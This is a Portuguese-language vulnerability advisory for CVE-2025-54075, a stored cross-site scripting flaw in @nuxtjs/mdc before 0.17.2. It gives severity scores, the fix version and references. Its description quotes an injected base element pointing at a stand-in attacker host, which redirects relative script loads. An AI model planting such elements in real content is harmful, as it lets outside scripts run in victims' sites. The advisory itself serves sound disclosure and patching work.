PT-2025-30053 · Unknown · @Nuxtjs/Mdc

Vozec · Publicado 2025-07-18 · Atualizado 2025-07-20 · CVE-2025-54075

Positive Technologies (AI Summary) · Pt

CVSS v3.1

8.3

Alta

Vetor base

AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

Nome do Software Vulnerável e Versões Afetadas Versões do @nuxtjs/mdc anteriores à 0.17.2

Descrição Existe uma vulnerabilidade de inclusão remota de script / cross-site scripting armazenado no @nuxtjs/mdc. Um autor de Markdown pode injetar um elemento <base href="https://attacker.tld">, que altera a forma como as URLs relativas são resolvidas. Isso permite que um atacante carregue scripts, estilos ou imagens de uma origem externa controlada pelo atacante e execute JavaScript arbitrário no contexto do site.

Recomendações Atualize o @nuxtjs/mdc para a versão 0.17.2 ou posterior.

Exploit

Correção

XSS

Enumeração de Fraquezas

CWE-79

Identificadores relacionados

CVE-2025-54075

GHSA-CJ6R-RRR9-FG82

Produtos afetados

@Nuxtjs/Mdc

Referências · 9

• 🔥 https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54075.json · Exploit
• 🔥 https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82 · Exploit
• https://github.com/nuxt-modules/mdc · Nota
• https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a · Nota
• https://twitter.com/VulmonFeeds/status/1946265267874533615 · Publicação no Twitter
• https://twitter.com/CVEnew/status/1946237808579920242 · Publicação no Twitter
• https://nvd.nist.gov/vuln/detail/CVE-2025-54075 · Nota de Segurança
• https://osv.dev/vulnerability/GHSA-cj6r-rrr9-fg82 · Aviso do Fabricante
• https://osv.dev/vulnerability/CVE-2025-54075 · Aviso do Fabricante